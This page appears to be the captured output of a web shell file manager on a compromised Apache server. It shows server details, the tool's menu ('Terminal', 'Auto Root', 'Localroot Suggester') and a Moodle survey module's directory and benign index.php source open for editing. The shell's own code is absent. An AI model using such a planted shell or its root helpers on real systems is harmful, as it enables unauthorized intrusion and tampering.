Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
cesa.co.za /
sipdm.cesa.co.za /
mod /
survey /
Delete
Unzip
Name
Size
Permission
Date
Action
backup
[ DIR ]
drwxr-sr-x
2017-06-22 15:16
classes
[ DIR ]
drwxr-sr-x
2017-06-22 15:27
db
[ DIR ]
drwxr-sr-x
2017-06-22 15:27
lang
[ DIR ]
drwxr-sr-x
2017-06-22 15:16
pix
[ DIR ]
drwxr-sr-x
2017-06-22 15:27
tests
[ DIR ]
drwxr-sr-x
2017-06-22 15:27
download.php
13.5
KB
-rw-r--r--
2017-06-22 15:27
graph.php
28.6
KB
-rw-r--r--
2017-06-22 15:27
index.php
2.96
KB
-rw-r--r--
2017-06-22 15:27
lib.php
33.71
KB
-rw-r--r--
2017-06-22 15:27
mod_form.php
2.99
KB
-rw-r--r--
2017-06-22 15:27
report.php
20.78
KB
-rw-r--r--
2017-06-22 15:27
save.php
2.39
KB
-rw-r--r--
2017-06-22 15:27
styles.css
786
B
-rw-r--r--
2017-06-22 15:27
survey.js
998
B
-rw-r--r--
2017-06-22 15:27
version.php
1.17
KB
-rw-r--r--
2017-06-22 15:27
view.php
6.81
KB
-rw-r--r--
2017-06-22 15:27
Save
Rename
<?php require_once("../../config.php"); require_once("lib.php"); $id = required_param('id', PARAM_INT); // Course Module ID $PAGE->set_url('/mod/survey/index.php', array('id'=>$id)); if (!$course = $DB->get_record('course', array('id'=>$id))) { print_error('invalidcourseid'); } require_course_login($course); $PAGE->set_pagelayout('incourse'); $params = array( 'context' => context_course::instance($course->id), 'courseid' => $course->id ); $event = \mod_survey\event\course_module_instance_list_viewed::create($params); $event->trigger(); $strsurveys = get_string("modulenameplural", "survey"); $strname = get_string("name"); $strstatus = get_string("status"); $strdone = get_string("done", "survey"); $strnotdone = get_string("notdone", "survey"); $PAGE->navbar->add($strsurveys); $PAGE->set_title($strsurveys); $PAGE->set_heading($course->fullname); echo $OUTPUT->header(); echo $OUTPUT->heading($strsurveys); if (! $surveys = get_all_instances_in_course("survey", $course)) { notice(get_string('thereareno', 'moodle', $strsurveys), "../../course/view.php?id=$course->id"); } $usesections = course_format_uses_sections($course->format); $table = new html_table(); if ($usesections) { $strsectionname = get_string('sectionname', 'format_'.$course->format); $table->head = array ($strsectionname, $strname, $strstatus); } else { $table->head = array ($strname, $strstatus); } $currentsection = ''; foreach ($surveys as $survey) { if (isloggedin() and survey_already_done($survey->id, $USER->id)) { $ss = $strdone; } else { $ss = $strnotdone; } $printsection = ""; if ($usesections) { if ($survey->section !== $currentsection) { if ($survey->section) { $printsection = get_section_name($course, $survey->section); } if ($currentsection !== "") { $table->data[] = 'hr'; } $currentsection = $survey->section; } } //Calculate the href if (!$survey->visible) { //Show dimmed if the mod is hidden $tt_href = "<a class=\"dimmed\" href=\"view.php?id=$survey->coursemodule\">".format_string($survey->name,true)."</a>"; } else { //Show normal if the mod is visible $tt_href = "<a href=\"view.php?id=$survey->coursemodule\">".format_string($survey->name,true)."</a>"; } if ($usesections) { $table->data[] = array ($printsection, $tt_href, "<a href=\"view.php?id=$survey->coursemodule\">$ss</a>"); } else { $table->data[] = array ($tt_href, "<a href=\"view.php?id=$survey->coursemodule\">$ss</a>"); } } echo "<br />"; echo html_writer::table($table); echo $OUTPUT->footer();